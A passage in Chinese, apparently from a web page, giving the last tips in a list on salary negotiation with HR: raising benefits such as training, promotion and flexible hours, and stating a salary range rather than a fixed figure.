  4. 谈论综合福利:薪资并不是唯一的关注点,还有其他福利待遇,如培训机会、晋升空间、灵活的工作时间等。在与HR谈判时,可以提及你对这些综合福利的重视,并尝试寻求一种综合福利与薪资相平衡的方案。 5.** 灵活性的回答**:在给出薪资期望时,可以给出一个范围而非具体数字,这样可以在一定程度上保留谈判的空间。例如:“根据我对市场的了解,我期望的薪资在X到Y之间,具体的数字可以根据公司对我的综合评估来确定。”

最重要的是要保持积极、开放的态度,并尊重双方的利益和限制。通过明确表达自己的期望和对公司的价值,与HR进行积极的讨论和协商,有助于达成一个双方都满意的薪资安排。

webapp
公众号
开发者导航
切换夜间模式
点击侧边栏下一篇
折叠侧边栏
收起全部